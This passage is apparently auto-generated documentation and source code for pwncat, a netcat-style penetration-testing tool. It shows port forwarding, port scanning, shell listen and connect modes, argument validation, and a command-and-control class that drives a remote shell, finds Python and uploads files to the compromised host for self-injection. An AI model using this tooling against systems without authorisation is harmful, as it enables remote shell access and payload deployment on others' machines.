    enc = StringEncoder()

    # Initialize interrupt handler
    ssig = InterruptHandler(args.keep_open, args.no_shutdown)

    # Initialize transformers
    transformers = []
    if args.safe_word is not None:
        transformers.append(TransformSafeword(DsTransformSafeword(ssig, args.safe_word)))
    if args.crlf is not None:
        transformers.append(TransformLinefeed(DsTransformLinefeed(args.crlf)))

    # Initialize scripting engine transformers
    code_send = None
    code_recv = None
    if args.script_send is not None:
        code_send = compile(args.script_send, "<script-send>", "exec")
    if args.script_recv is not None:
        code_recv = compile(args.script_recv, "<script-recv>", "exec")

    # Use command modulde
    if args.cmd:
        mod = IOCommand(ssig, DsIOCommand(enc, args.cmd, POPEN_BUFSIZE))
    # Use output module
    else:
        mod = IOStdinStdout(ssig, DsIOStdinStdout(enc, TIMEOUT_READ_STDIN, args.send_on_eof))

    # Run local port-forward
    # -> listen locally and forward traffic to remote (connect)
    if mode == "local":
        # Enure to re-connect forever during local port forward
        cli_opts.reconn = -1
        cli_opts.reconn_wait = 0.0
        srv_opts.keep_open = True
        lhost = args.local.split(":")[0]
        lport = int(args.local.split(":")[1])
        if not lhost:
            lhost = None
        # Create listen and client instances
        net_srv = IONetwork(ssig, enc, lhost, [lport], "server", srv_opts, cli_opts, sock_opts)
        net_cli = IONetwork(ssig, enc, host, ports, "client", srv_opts, cli_opts, sock_opts)
        # Create Runner
        run = Runner(ssig, False, PSEStore(ssig, [net_srv, net_cli]))
        run.add_action(
            "TRANSMIT",
            DsRunnerAction(
                DsCallableProducer(net_srv.producer),  # (recv) USER sends data to PC-SERVER
                net_cli.consumer,  # (send) Data parsed on to PC-CLIENT to send to TARGET
                [net_cli.interrupt, net_srv.interrupt],
                transformers,
                False,
                None,
            ),
        )
        run.add_action(
            "RECEIVE",
            DsRunnerAction(
                DsCallableProducer(net_cli.producer),  # (recv) Data back from TARGET to PC-CLIENT
                net_srv.consumer,  # (send) Data parsed on to PC-SERVER to back send to USER
                [net_cli.interrupt, net_srv.interrupt],
                transformers,
                False,
                None,
            ),
        )
        run.run()

    # Run remote port-forward
    # -> connect to client, connect to target and proxy traffic in between.
    if mode == "remote":
        # TODO: Make the listen address optional!
        # Enure to re-connect forever during remote port forward
        cli_opts.reconn = -1
        cli_opts.reconn_wait = 0.0
        lhost = args.remote.split(":")[0]
        lport = int(args.remote.split(":")[1])
        # Create local and remote client
        net_cli_l = IONetwork(ssig, enc, lhost, [lport], "client", srv_opts, cli_opts, sock_opts)
        net_cli_r = IONetwork(ssig, enc, host, ports, "client", srv_opts, cli_opts, sock_opts)
        # Create Runner
        run = Runner(ssig, False, PSEStore(ssig, [net_cli_l, net_cli_r]))
        run.add_action(
            "TRANSMIT",
            DsRunnerAction(
                DsCallableProducer(net_cli_l.producer),  # (recv) USER sends data to PC-SERVER
                net_cli_r.consumer,  # (send) Data parsed on to PC-CLIENT to send to TARGET
                [],
                transformers,
                False,
                None,
            ),
        )
        run.add_action(
            "RECEIVE",
            DsRunnerAction(
                DsCallableProducer(net_cli_r.producer),  # (recv) Data back from TARGET to PC-CLIENT
                net_cli_l.consumer,  # (send) Data parsed on to PC-SERVER to back send to USER
                [],
                transformers,
                False,
                None,
            ),
        )
        run.run()

    # Port Scan
    if mode == "scan":
        print("Scanning {} ports".format(len(ports)))
        net = IONetworkScanner(ssig, enc, host, args.banner, cli_opts, sock_opts)
        run = Runner(ssig, True, PSEStore(ssig, [net]))
        for port in ports:
            run.add_action(
                "PORT-{}".format(port),
                DsRunnerAction(
                    DsCallableProducer(net.producer, port),  # Send port scans
                    net.consumer,  # Output results
                    [net.interrupt],
                    [],
                    True,
                    None,
                ),
            )
        run.run()

    # Run server
    if mode == "listen":
        net = IONetwork(
            ssig, enc, host, ports + args.rebind_robin, "server", srv_opts, cli_opts, sock_opts
        )
        # Run blocking auto-deploy.
        # This will hand over to normal listening server on success or failure
        if args.self_inject:
            cnc_cmd, cnc_host, cnc_port = args.self_inject.split(":")
            cnc_ports = ArgValidator.get_port_list_from_string(cnc_port)
            CNCAutoDeploy(net, cnc_cmd, cnc_host, cnc_ports)

        if args.http:
            trans_recv = [TransformHttpUnpack({})] + transformers
            trans_send = [TransformHttpPack({"host": host, "reply": "response"})] + transformers
        else:
            trans_recv = transformers
            trans_send = transformers

        run = Runner(ssig, False, PSEStore(ssig, [net]))
        run.add_action(
            "RECV",
            DsRunnerAction(
                DsCallableProducer(net.producer),  # receive data
                mod.consumer,
                [net.interrupt],
                trans_recv,
                False,
                code_recv,
            ),
        )
        run.add_action(
            "STDIN",
            DsRunnerAction(
                DsCallableProducer(mod.producer),
                net.consumer,  # send data
                [mod.interrupt],
                trans_send,
                False,
                code_send,
            ),
        )
        run.run()

    # Run client
    if mode == "connect":
        net = IONetwork(
            ssig, enc, host, ports + args.reconn_robin, "client", srv_opts, cli_opts, sock_opts
        )

        if args.http:
            trans_recv = [TransformHttpUnpack({})] + transformers
            trans_send = [TransformHttpPack({"host": host, "reply": "response"})] + transformers
        else:
            trans_recv = transformers
            trans_send = transformers

        run = Runner(ssig, False, PSEStore(ssig, [net]))
        run.add_action(
            "RECV",
            DsRunnerAction(
                DsCallableProducer(net.producer),  # receive data
                mod.consumer,
                [net.interrupt],
                trans_recv,
                False,
                code_recv,
            ),
        )
        run.add_action(
            "STDIN",
            DsRunnerAction(
                DsCallableProducer(mod.producer),
                net.consumer,  # send data
                [mod.interrupt],
                trans_send,
                False,
                code_send,
            ),
        )
        if type(args.ping_intvl) is int and args.ping_intvl > 0:
            payload = StringEncoder.encode(args.ping_word)
            run.add_timer(
                "PING-INT",
                DsRunnerTimer(net.consumer, ssig, args.ping_intvl, (payload,), {}),  # send data
            )
        if args.ping_init:
            payload = StringEncoder.encode(args.ping_word)
            run.add_repeater(
                "PING-REP",
                DsRunnerRepeater(net.consumer, ssig, 1, 0.0, (payload,), {}),  # send data
            )
        run.run()

Classes

class ArgValidator

Validate command line arguments.

Expand source code 
class ArgValidator(object):
    """Validate command line arguments."""

    # --------------------------------------------------------------------------
    # Private Functions
    # --------------------------------------------------------------------------
    @staticmethod
    def __get_port_list_by_comma(value):
        # type: (str) -> List[int]
        """Returns a list of ports from a comma separated string or empty list if invalid."""
        ports = []
        match = re.search(r"^[0-9]+(,([0-9]+))*$", value)
        if match is not None:
            ports = [int(port) for port in match.group(0).split(",")]
            for port in ports:
                if not ArgValidator.is_valid_port(port):
                    return []
        return ports

    @staticmethod
    def __get_port_list_by_range(value):
        # type: (str) -> List[int]
        """Returns a list of ports from a range string or empty list if invalid."""
        ports = []  # type: List[int]
        match = re.search(r"^[0-9]+\-[0-9]+$", value)
        if match is not None:
            ranges = [int(r) for r in match.group(0).split("-")]
            ports = list(range(ranges[0], ranges[1] + 1))
            for port in ports:
                if not ArgValidator.is_valid_port(port):
                    return []
        return ports

    @staticmethod
    def __get_port_list_by_incr(value):
        # type: (str) -> List[int]
        """Returns a list of ports from an increment or empty list if invalid."""
        ports = []  # type: List[int]
        match = re.search(r"^[0-9]+\+[0-9]+$", value)
        if match is not None:
            ranges = [int(r) for r in match.group(0).split("+")]
            ports = list(range(ranges[0], ranges[0] + ranges[1] + 1))
            for port in ports:
                if not ArgValidator.is_valid_port(port):
                    return []
        return ports

    # --------------------------------------------------------------------------
    # Helper Functions
    # --------------------------------------------------------------------------
    @staticmethod
    def is_valid_port(value):
        # type: (int) -> bool
        """Returns True if a given value is a valid port."""
        return 0 < value < 65536

    @staticmethod
    def is_valid_port_list(value):
        # type: (str) -> bool
        """Returns True if a given value is a valid port list by comma or range."""
        cports = ArgValidator.__get_port_list_by_comma(value)
        rports = ArgValidator.__get_port_list_by_range(value)
        iports = ArgValidator.__get_port_list_by_incr(value)
        # XOR - only one method (comma, range or increment) is allowed
        if cports and not rports and not iports:
            return True
        if rports and not cports and not iports:
            return True
        if iports and not cports and not rports:
            return True
        return False

    @staticmethod
    def get_port_list_from_string(value):
        # type: (str) -> List[int]
        """Returns a list of ports from an comma, range or increment."""
        cports = ArgValidator.__get_port_list_by_comma(value)
        rports = ArgValidator.__get_port_list_by_range(value)
        iports = ArgValidator.__get_port_list_by_incr(value)
        return cports + rports + iports

    # --------------------------------------------------------------------------
    # Generic Type Functions
    # --------------------------------------------------------------------------
    @staticmethod
    def type_port(value):
        # type: (str) -> int
        """Check argument for valid port."""
        if not ArgValidator.is_valid_port(int(value)):
            raise argparse.ArgumentTypeError("%s is an invalid port number." % value)
        return int(value)

    @staticmethod
    def type_port_list(value):
        # type: (str) -> List[int]
        """Check argument for valid port list separated by comma or range number."""
        rports = ArgValidator.__get_port_list_by_range(value)
        cports = ArgValidator.__get_port_list_by_comma(value)
        iports = ArgValidator.__get_port_list_by_incr(value)

        # Only use comma, range or increment!
        if (rports and cports) or (rports and iports) or (cports and iports):
            raise argparse.ArgumentTypeError(
                "%s is invalid. Can only use comma, range or increment." % value
            )
        if not rports and not cports and not iports:
            raise argparse.ArgumentTypeError("%s is an invalid port-list/range definition." % value)
        # Return whichever has a value
        return rports + cports + iports

    @staticmethod
    def type_file_content(value):
        # type: (str) -> str
        """Check argument for valid file content (file must exist and be readable)."""
        if not os.path.isfile(value):
            raise argparse.ArgumentTypeError("File not found: %s" % value)
        with open(value, mode="r") as fhandle:
            script = fhandle.read()
        return script

    # --------------------------------------------------------------------------
    # Specific Type Functions
    # --------------------------------------------------------------------------
    @staticmethod
    def type_tos(value):
        # type: (str) -> str
        """Check argument for valid --tos value."""
        if value not in ["mincost", "lowcost", "reliability", "throughput", "lowdelay"]:
            raise argparse.ArgumentTypeError("%s is an invalid tos definition." % value)
        return value

    @staticmethod
    def type_info(value):
        # type: (str) -> str
        """Check argument for valid --info value."""
        if value not in ["sock", "ipv4", "ipv6", "tcp", "all", ""]:
            raise argparse.ArgumentTypeError("%s is an invalid info definition." % value)
        return value

    @staticmethod
    def type_crlf(value):
        # type: (Optional[str]) -> Optional[str]
        """Check argument for valid --crlf value."""
        if value is None:
            return None
        if value.lower() in ["crlf", "lf", "cr", "no"]:
            return value.lower()
        raise argparse.ArgumentTypeError("'%s' is an invalid choice." % value)

    @staticmethod
    def type_color(value):
        # type: (str) -> str
        """Check argument for valid --color value."""
        if value not in ["auto", "always", "never"]:
            raise argparse.ArgumentTypeError("%s is an invalid color definition." % value)
        return value

    @staticmethod
    def type_local(value):
        # type: (str) -> str
        """Check argument for valid -L/--local value."""
        match = re.search(r"^(.+:)?([0-9]+)$", value)
        if match is None or len(match.groups()) != 2:
            raise argparse.ArgumentTypeError("%s is not a valid '[addr:]port' format." % value)
        if not ArgValidator.is_valid_port(int(match.group(2))):
            raise argparse.ArgumentTypeError("%s is not a valid port." % value)

        if match.group(1) is None:
            return ":" + match.group(2)
        return value

    @staticmethod
    def type_remote(value):
        # type: (str) -> str
        """Check argument for valid -R/--remote value."""
        match = re.search(r"(.+):(.+)", value)
        if match is None or len(match.groups()) != 2:
            raise argparse.ArgumentTypeError("%s is not a valid 'addr:port' format." % value)
        if not ArgValidator.is_valid_port(int(match.group(2))):
            raise argparse.ArgumentTypeError("%s is not a valid port." % value)
        return value

    @staticmethod
    def type_self_inject(value):
        # type: (str) -> str
        """Check argument for valid --self-inject value."""
        opts = value.split(":")
        if len(opts) != 3:
            raise argparse.ArgumentTypeError("%s is not a valid cmd:host:port[s] pattern." % value)
        if not ArgValidator.is_valid_port_list(opts[-1]):
            raise argparse.ArgumentTypeError("%s is an invalid port definition." % value)
        return value

Static methods

def get_port_list_from_string(value)

Returns a list of ports from an comma, range or increment.

Expand source code 
@staticmethod
def get_port_list_from_string(value):
    # type: (str) -> List[int]
    """Returns a list of ports from an comma, range or increment."""
    cports = ArgValidator.__get_port_list_by_comma(value)
    rports = ArgValidator.__get_port_list_by_range(value)
    iports = ArgValidator.__get_port_list_by_incr(value)
    return cports + rports + iports
def is_valid_port(value)

Returns True if a given value is a valid port.

Expand source code 
@staticmethod
def is_valid_port(value):
    # type: (int) -> bool
    """Returns True if a given value is a valid port."""
    return 0 < value < 65536
def is_valid_port_list(value)

Returns True if a given value is a valid port list by comma or range.

Expand source code 
@staticmethod
def is_valid_port_list(value):
    # type: (str) -> bool
    """Returns True if a given value is a valid port list by comma or range."""
    cports = ArgValidator.__get_port_list_by_comma(value)
    rports = ArgValidator.__get_port_list_by_range(value)
    iports = ArgValidator.__get_port_list_by_incr(value)
    # XOR - only one method (comma, range or increment) is allowed
    if cports and not rports and not iports:
        return True
    if rports and not cports and not iports:
        return True
    if iports and not cports and not rports:
        return True
    return False
def type_color(value)

Check argument for valid –color value.

Expand source code 
@staticmethod
def type_color(value):
    # type: (str) -> str
    """Check argument for valid --color value."""
    if value not in ["auto", "always", "never"]:
        raise argparse.ArgumentTypeError("%s is an invalid color definition." % value)
    return value
def type_crlf(value)

Check argument for valid –crlf value.

Expand source code 
@staticmethod
def type_crlf(value):
    # type: (Optional[str]) -> Optional[str]
    """Check argument for valid --crlf value."""
    if value is None:
        return None
    if value.lower() in ["crlf", "lf", "cr", "no"]:
        return value.lower()
    raise argparse.ArgumentTypeError("'%s' is an invalid choice." % value)
def type_file_content(value)

Check argument for valid file content (file must exist and be readable).

Expand source code 
@staticmethod
def type_file_content(value):
    # type: (str) -> str
    """Check argument for valid file content (file must exist and be readable)."""
    if not os.path.isfile(value):
        raise argparse.ArgumentTypeError("File not found: %s" % value)
    with open(value, mode="r") as fhandle:
        script = fhandle.read()
    return script
def type_info(value)

Check argument for valid –info value.

Expand source code 
@staticmethod
def type_info(value):
    # type: (str) -> str
    """Check argument for valid --info value."""
    if value not in ["sock", "ipv4", "ipv6", "tcp", "all", ""]:
        raise argparse.ArgumentTypeError("%s is an invalid info definition." % value)
    return value
def type_local(value)

Check argument for valid -L/–local value.

Expand source code 
@staticmethod
def type_local(value):
    # type: (str) -> str
    """Check argument for valid -L/--local value."""
    match = re.search(r"^(.+:)?([0-9]+)$", value)
    if match is None or len(match.groups()) != 2:
        raise argparse.ArgumentTypeError("%s is not a valid '[addr:]port' format." % value)
    if not ArgValidator.is_valid_port(int(match.group(2))):
        raise argparse.ArgumentTypeError("%s is not a valid port." % value)

    if match.group(1) is None:
        return ":" + match.group(2)
    return value
def type_port(value)

Check argument for valid port.

Expand source code 
@staticmethod
def type_port(value):
    # type: (str) -> int
    """Check argument for valid port."""
    if not ArgValidator.is_valid_port(int(value)):
        raise argparse.ArgumentTypeError("%s is an invalid port number." % value)
    return int(value)
def type_port_list(value)

Check argument for valid port list separated by comma or range number.

Expand source code 
@staticmethod
def type_port_list(value):
    # type: (str) -> List[int]
    """Check argument for valid port list separated by comma or range number."""
    rports = ArgValidator.__get_port_list_by_range(value)
    cports = ArgValidator.__get_port_list_by_comma(value)
    iports = ArgValidator.__get_port_list_by_incr(value)

    # Only use comma, range or increment!
    if (rports and cports) or (rports and iports) or (cports and iports):
        raise argparse.ArgumentTypeError(
            "%s is invalid. Can only use comma, range or increment." % value
        )
    if not rports and not cports and not iports:
        raise argparse.ArgumentTypeError("%s is an invalid port-list/range definition." % value)
    # Return whichever has a value
    return rports + cports + iports
def type_remote(value)

Check argument for valid -R/–remote value.

Expand source code 
@staticmethod
def type_remote(value):
    # type: (str) -> str
    """Check argument for valid -R/--remote value."""
    match = re.search(r"(.+):(.+)", value)
    if match is None or len(match.groups()) != 2:
        raise argparse.ArgumentTypeError("%s is not a valid 'addr:port' format." % value)
    if not ArgValidator.is_valid_port(int(match.group(2))):
        raise argparse.ArgumentTypeError("%s is not a valid port." % value)
    return value
def type_self_inject(value)

Check argument for valid –self-inject value.

Expand source code 
@staticmethod
def type_self_inject(value):
    # type: (str) -> str
    """Check argument for valid --self-inject value."""
    opts = value.split(":")
    if len(opts) != 3:
        raise argparse.ArgumentTypeError("%s is not a valid cmd:host:port[s] pattern." % value)
    if not ArgValidator.is_valid_port_list(opts[-1]):
        raise argparse.ArgumentTypeError("%s is an invalid port definition." % value)
    return value
def type_tos(value)

Check argument for valid –tos value.

Expand source code 
@staticmethod
def type_tos(value):
    # type: (str) -> str
    """Check argument for valid --tos value."""
    if value not in ["mincost", "lowcost", "reliability", "throughput", "lowdelay"]:
        raise argparse.ArgumentTypeError("%s is an invalid tos definition." % value)
    return value
class CNC (network)

Command and Control base class.

Instantiate Command and Control class.

Args

network : IONetwork
Instance of IONetwork

Raises

CNCPythonNotFound
if remote Python binary path is not found.
Expand source code 
class CNC(object):
    """Command and Control base class."""

    __PYTHON_PATHS = [
        "/usr/bin",
        "/usr/local/bin",
        "/usr/local/python/bin",
        "/usr/local/python2/bin",
        "/usr/local/python2.7/bin",
        "/usr/local/python3/bin",
        "/usr/local/python3.5/bin",
        "/usr/local/python3.6/bin",
        "/usr/local/python3.7/bin",
        "/usr/local/python3.8/bin",
        "/bin",
        "/opt/bin",
        "/opt/python/bin",
        "/opt/python2/bin",
        "/opt/python2.7/bin",
        "/opt/python3/bin",
        "/opt/python3.5/bin",
        "/opt/python3.6/bin",
        "/opt/python3.7/bin",
        "/opt/python3.8/bin",
    ]

    __PYTHON_NAMES = [
        "python3",
        "python",
        "python2",
        "python2.7",
        "python3.5",
        "python3.6",
        "python3.7",
        "python3.8",
    ]

    __COLORS = {"yellow": "\x1b[33;21m", "reset": "\x1b[0m"}

    # --------------------------------------------------------------------------
    # Properties
    # --------------------------------------------------------------------------
    @property
    def remote_python(self):
        # type: () -> str
        """Discovered absolute Python remote path."""
        return self.__remote_python

    @property
    def remote_py3(self):
        # type: () -> bool
        """Is remote version Python3? Else it is Python2."""
        return self.__remote_py3

    # --------------------------------------------------------------------------
    # Constructor
    # --------------------------------------------------------------------------
    def __init__(self, network):
        # type: (IONetwork) -> None
        """Instantiate Command and Control class.

        Args:
            network (IONetwork): Instance of IONetwork

        Raises:
            CNCPythonNotFound: if remote Python binary path is not found.
        """
        self.__net = network
        self.__log = logging.getLogger(__name__)
        self.__py3 = sys.version_info >= (3, 0)  # type: bool

        # Along with the response the server might prefix/suffix data
        # such as a PS1 prompt (which might be send first or last with a newline)
        self.__remote_prefix = []  # type: List[bytes]
        self.__remote_suffix = []  # type: List[bytes]

        # Receive timeout value will be adjusted dynamically depending on the
        # speed of the server. We'll start high to allow for slow servers.
        self.__recv_timeout = 0.3
        self.__recv_rounds = 5
        self.__recv_times = []  # type: List[float]

        # [1/3] Check if there is data to be received first (e.g.: greeting)
        self.print_info("Checking if remote sends greeting...")
        greeting = self.send_recv(None, False, False)
        if greeting:
            self.print_raw(b"\n".join(greeting), True)

        # [2/3] Check if the remote sends a prefix with every reply
        self.__set_remote_prefix()

        # [3/3] Find potential Python versions
        if not self.__set_remote_python_path():
            self.print_info("No Python has been found. Aborting and handing over to current shell.")
            raise CNCPythonNotFound()

    # --------------------------------------------------------------------------
    # Print Functions
    # --------------------------------------------------------------------------
    def print_info(self, message=None, newline=True, erase=False):
        # type: (Optional[str], bool, bool) -> None
        """Print a message to the local screen to inform the user.

        Args:
            message (str): The message to print.
            newline (bool): Add a newline?
            erase (bool): Erase previously printed text on the same line.
        """
        end = "\n" if newline else ""
        prefix = "{}[PWNCAT CnC]{} ".format(self.__COLORS["yellow"], self.__COLORS["reset"])
        if message is None:
            message = ""
            prefix = ""

        if erase:
            print("\r" * 1024 + "{}{}".format(prefix, message), end=end)
            sys.stdout.flush()
        else:
            print("{}{}".format(prefix, message), end=end)
            sys.stdout.flush()

    def print_raw(self, message, newline):
        # type: (bytes, bool) -> None
        """Print a message to the local screen without color/prefix.

        Args:
            message (bytes): The message to print.
            newline (bool): Add a newline?
        """
        if self.__py3:
            end = b"\n" if newline else b""
            sys.stdout.buffer.write(b"".join([message, end]))
        else:
            end = "\n" if newline else ""  # type: ignore
            print(message, end=end)  # type: ignore

        # For issues with flush (when using tail -F or equal) see links below:
        # https://stackoverflow.com/questions/26692284
        # https://docs.python.org/3/library/signal.html#note-on-sigpipe
        try:
            sys.stdout.flush()
        except IOError:
            # Python flushes standard streams on exit; redirect remaining output
            # to devnull to avoid another broken pipe at shutdown
            devnull = os.open(os.devnull, os.O_WRONLY)
            os.dup2(devnull, sys.stdout.fileno())

    # --------------------------------------------------------------------------
    # Network Functions
    # --------------------------------------------------------------------------
    def send(self, data):
        # type: (bytes) -> int
        """Send data through a connected (TCP) or unconnected (UDP) socket.

        Args:
            data (bytes): The data to send.

        Returns:
            int: Returns total bytes sent.

        Raises:
            socket.error:   Except here when unconnected or connection was forcibly closed.
        """
        return self.__net.net.send(data)

    def flush_receive(self):
        # type: () -> List[bytes]
        """Try to reveive everything which is currently being sent from remote.

        Returns:
            List[bytes]: Returns a list of bytes of received data.

        Raises:
            socket.error:   Except here when unconnected or connection was forcibly closed.
        """
        self.print_info("Flushing receive buffer (this can take some time) ...")

        self.send(b"\n")
        data1 = self.send_recv(None, False, False)
        data2 = self.send_recv(None, False, False)

        self.print_info("Flushing receive buffer done.")
        return data1 + data2

    def send_recv(self, data, strip_suffix=True, strip_echo=False):
        # type: (Optional[bytes], bool, bool) -> List[bytes]
        """Send data through a connected (TCP) or unconnected (UDP) socket and receive all replies.

        Args:
            data (None|bytes): The data to send. If None, will skip sending.
            strip_suffix (bool): Strip remote suffix from received data?
            strip_echo (bool): Also remove 'data' from output if server has echo'ed it?

        Returns:
            List[bytes]: Returns a list of bytes of received data.

        Raises:
            socket.error:   Except here when unconnected or connection was forcibly closed.
        """
        # [1/4] Send
        if data is not None:
            self.__net.net.send(data)

        # [2/4] Receive actual reply
        responses = []

        # Setup timer and current receive round
        time_start = datetime.now()
        curr_round = 0

        while curr_round < self.__recv_rounds:
            try:
                response = self.__net.net.receive()
            except socket.timeout:
                time.sleep(self.__recv_timeout)
                time_step = datetime.now()
                time_diff = time_step - time_start

                self.__log.trace(  # type: ignore
                    "Timeout: Receive timed out after %f sec in %d/%d rounds",
                    time_diff.total_seconds(),
                    curr_round + 1,
                    self.__recv_rounds,
                )
                curr_round += 1
            # On successful read, we can determine to adjust timings.
            else:
                time_end = datetime.now()
                time_diff = time_end - time_start

                self.__recv_times.append(time_diff.total_seconds())
                self.__log.trace(  # type: ignore
                    "Timeout: Receive took %f sec (avg: %f) to receive in %d/%d rounds",
                    time_diff.total_seconds(),
                    sum(self.__recv_times) / len(self.__recv_times),
                    curr_round + 1,
                    self.__recv_rounds,
                )

                # Retries were required
                prev_recv_timeout = self.__recv_timeout
                if curr_round > 1:
                    self.__recv_timeout += time_diff.total_seconds()
                # No retries requred
                else:
                    self.__recv_timeout = time_diff.total_seconds() / 2

                self.__log.trace(  # type: ignore
                    "Timeout: Previous recv timeout: %f sec -> new recv timeout: %f sec",
                    prev_recv_timeout,
                    self.__recv_timeout,
                )

                # Add response
                if response:
                    responses.append(response)

                # Reset the start time and round
                time_start = datetime.now()
                curr_round = 0

        # Return if already empty
        if not responses:
            return responses

        # Response could be in one of the below listed formats:
        # 1. response could be one line per element
        # 2. reposnse could be multiple lines per element
        # 3. response cloud be single characters per element
        # But we want to make sure that we always get one line per element,
        # so we normalize it

        # First: Join lines which do not have line endings
        self.__log.debug("Normalize recv before (1): %s", repr(responses))
        normalized = []
        has_eol = True
        for line in responses:
            if has_eol:
                normalized.append(line)
            else:
                normalized[-1] = normalized[-1] + line
            # Determine what to do next iteration
            if line.endswith(b"\r\n"):
                has_eol = True
            elif line.endswith(b"\n"):
                has_eol = True
            elif line.endswith(b"\r"):
                has_eol = True
            else:
                has_eol = False
        responses = normalized
        self.__log.debug("Normalize recv after  (1): %s", repr(responses))

        # Second: Separate lines which have line endings
        self.__log.debug("Normalize recv before (2): %s", repr(responses))
        normalized = []
        for line in responses:
            line = line.rstrip(b"\r\n")
            line = line.rstrip(b"\n")
            line = line.rstrip(b"\r")
            line = line.lstrip(b"\r\n")
            line = line.lstrip(b"\n")
            line = line.lstrip(b"\r")
            if b"\r\n" in line:
                for newline in line.split(b"\r\n"):
                    normalized.append(newline)
            elif b"\n" in line:
                for newline in line.split(b"\n"):
                    normalized.append(newline)
            elif b"\r" in line:
                for newline in line.split(b"\r"):
                    normalized.append(newline)
            else:
                normalized.append(line)
        responses = normalized
        self.__log.debug("Normalize recv after  (2): %s", repr(responses))

        # [3/4] Remove remote ends suffix (if it sends something like it)
        # We iterate reversed of responses and check if the new line suffix(es)
        # are present at the end.
        # This is because the suffix(es) is always received last.
        if self.__remote_suffix and strip_suffix:
            # If multiple suffix lines are send we will first strip x-1 suffix lines
            if len(self.__remote_suffix) > 1:
                lines_to_strip = len(self.__remote_suffix) - 1
                self.__log.debug("Remove suffix before (1): %s", repr(responses))
                responses = responses[:-lines_to_strip]
                self.__log.debug("Remove suffix after  (1): %s", repr(responses))

            # Return if already empty
            if not responses:
                return responses

            # Clean up the last response line with first suffix line
            self.__log.debug("Remove suffix before (2): %s", repr(responses))
            responses[-1] = responses[-1].rstrip(self.__remote_suffix[0])
            self.__log.debug("Remove suffix after  (2): %s", repr(responses))

            # Ensure empty elements are removed
            self.__log.debug("Remove suffix before (3): %s", repr(responses))
            responses = [item for item in responses if item]
            self.__log.debug("Remove suffix after  (3): %s", repr(responses))

        # [4/4] Some server also echo back what we've send, so if we did send something
        # we need to strip this off as well
        if data is not None and strip_echo:
            for idx, item in enumerate(responses):
                if data in responses[idx]:
                    del responses[idx]
                elif data.rstrip() in responses[idx]:
                    del responses[idx]
                # Ensure empty elements are removed
                responses = [item for item in responses if item]

        # Return list of respones
        return responses

    # --------------------------------------------------------------------------
    # High-level Functions
    # --------------------------------------------------------------------------
    def remote_command(self, command, output):
        # type: (str, bool) -> Optional[List[bytes]]
        """Run remote command with correct linefeeds and receive response lines.

        Args:
            command (str): The command to execute on the remote end.
            output (bool): Receive output from command?
        """
        command = command.rstrip("\r\n")
        command = command.rstrip("\r")
        command = command.rstrip("\n")
        command = command + "\n"
        if output:
            return self.send_recv(StringEncoder.encode(command), True, True)
        self.send(StringEncoder.encode(command))
        return None

    def create_remote_tmpfile(self):
        # type: () -> Optional[str]
        """OS-independent remote tempfile creation.

        Returns:
            str or None: Returns path on success or None on error.
        """
        self.flush_receive()
        self.print_info("Creating tmpfile:", False, True)

        command = []
        command.append("{} -c '".format(self.__remote_python))
        command.append("import tempfile;")
        command.append("h,f=tempfile.mkstemp();")
        if self.__remote_py3:
            command.append("print(f);")
        else:
            command.append("print f;")
        command.append("'")
        response = self.remote_command("".join(command), True)

        # All good
        if response is not None and len(response) == 1:
            tmpfile = StringEncoder.decode(response[0]).rstrip()
            self.print_info("Creating tmpfile: {}".format(repr(tmpfile)), True, True)
            return tmpfile

        # Something went wrong with stripping prefix from server, we need to manually
        # check if creation was successful.
        if response is not None and len(response) > 1:
            # A bit fuzzy, but we try a few times
            for _ in range(5):
                self.print_info("Creating tmpfile: Unsure - checking otherwise", True, True)
                for candidate in response:
                    tmpfile = StringEncoder.decode(candidate).rstrip()
                    if self.remote_file_exists(tmpfile):
                        self.print_info("Creating tmpfile: {}".format(repr(tmpfile)), True, True)
                        return tmpfile

        self.print_info("Creating tmpfile: Failed", True, True)
        self.print_info("Response: {}".format(repr(response)))
        return None

    def remote_file_exists(self, remote_path):
        # type: (str) -> bool
        """Ensure given remote path exists as a file on remote end.

        Args:
            remote_path (str): Path of file to check.

        Returns:
            bool: Returns `True` on success and `False` on failure.
        """
        self.flush_receive()

        # String should be short as an unstable remote might send small chunks
        unique_string = "_pwncat_"
        response = self.remote_command(
            'test -f "{}" && echo "{}"'.format(remote_path, unique_string), True
        )
        if response is not None:
            for candidate in response:
                if StringEncoder.decode(candidate) == unique_string:
                    return True
                if StringEncoder.decode(candidate).rstrip() == unique_string:
                    return True
        response = self.flush_receive()
        if response is not None:
            for candidate in response:
                if StringEncoder.decode(candidate).rstrip() == unique_string:
                    return True
                if StringEncoder.decode(candidate).rstrip() == unique_string:
                    return True
        return False

    def upload(self, lpath, rpath):
        # type: (str, str) -> bool
        """OS-independent upload of a local file to a remote path.

        Args:
            lpath (str): Local path of the file.
            rpath (str): Remote path, where to upload the base64 encoded file.

        Returns:
            bool: Returns `True` on success and `False` on failure.
        """
        assert self.__remote_python is not None
        assert self.__remote_py3 is not None

        rpath_b64 = self.create_remote_tmpfile()
        self.flush_receive()
        if rpath_b64 is None:
            return False
        if not self.__upload_file_base_64_encoded(lpath, rpath_b64, True):
            return False
        if not self.__remote_base64_decode(rpath_b64, rpath):
            return False
        return True

    # --------------------------------------------------------------------------
    # Private Functions
    # --------------------------------------------------------------------------
    def __set_remote_prefix(self):
        # type: () -> None
        """Determines if the remote always sends a specific prefix with its other data."""
        self.__remote_prefix = []
        self.__remote_suffix = []

        has_suffix = False

        self.print_info("Checking if remote sends prefix/suffix to every request...")
        response = self.send_recv(b'echo "__pwn__"\n')
        expected = b"__pwn__"

        if response:
            for line in response:
                # If the line begins with our expected response, all data after that
                # is a suffix that the server might be sending.
                if re.match(expected, line):
                    has_suffix = True
                    # If bytes are still left after our response, add it
                    if line.replace(expected, b"", 1):
                        self.__remote_suffix.append(line.replace(expected, b"", 1))
                    continue
                if has_suffix:
                    self.__remote_suffix.append(line)

        # Ensure empty elements are removed
        self.__log.debug("Set suffix before: %s", repr(self.__remote_suffix))
        self.__remote_suffix = [item for item in self.__remote_suffix if item]
        self.__log.debug("Set suffix after:  %s", repr(self.__remote_suffix))

        if self.__remote_prefix:
            self.print_info("Remote prefix ({} lines):".format(len(self.__remote_prefix)))
            for line in self.__remote_prefix:
                self.print_raw(repr(line).encode(), True)
        else:
            self.print_info("Remote does not send prefix")
        if self.__remote_suffix:
            self.print_info("Remote suffix ({} lines):".format(len(self.__remote_suffix)))
            for line in self.__remote_suffix:
                self.print_raw(repr(line).encode(), True)
        else:
            self.print_info("Remote does not send suffix")

    def __get_remote_python_version(self, path):
        # type: (str) -> Optional[str]
        """Get remote Python version by path.

        Args:
            path (str): Path to potential python binary.

        Returns:
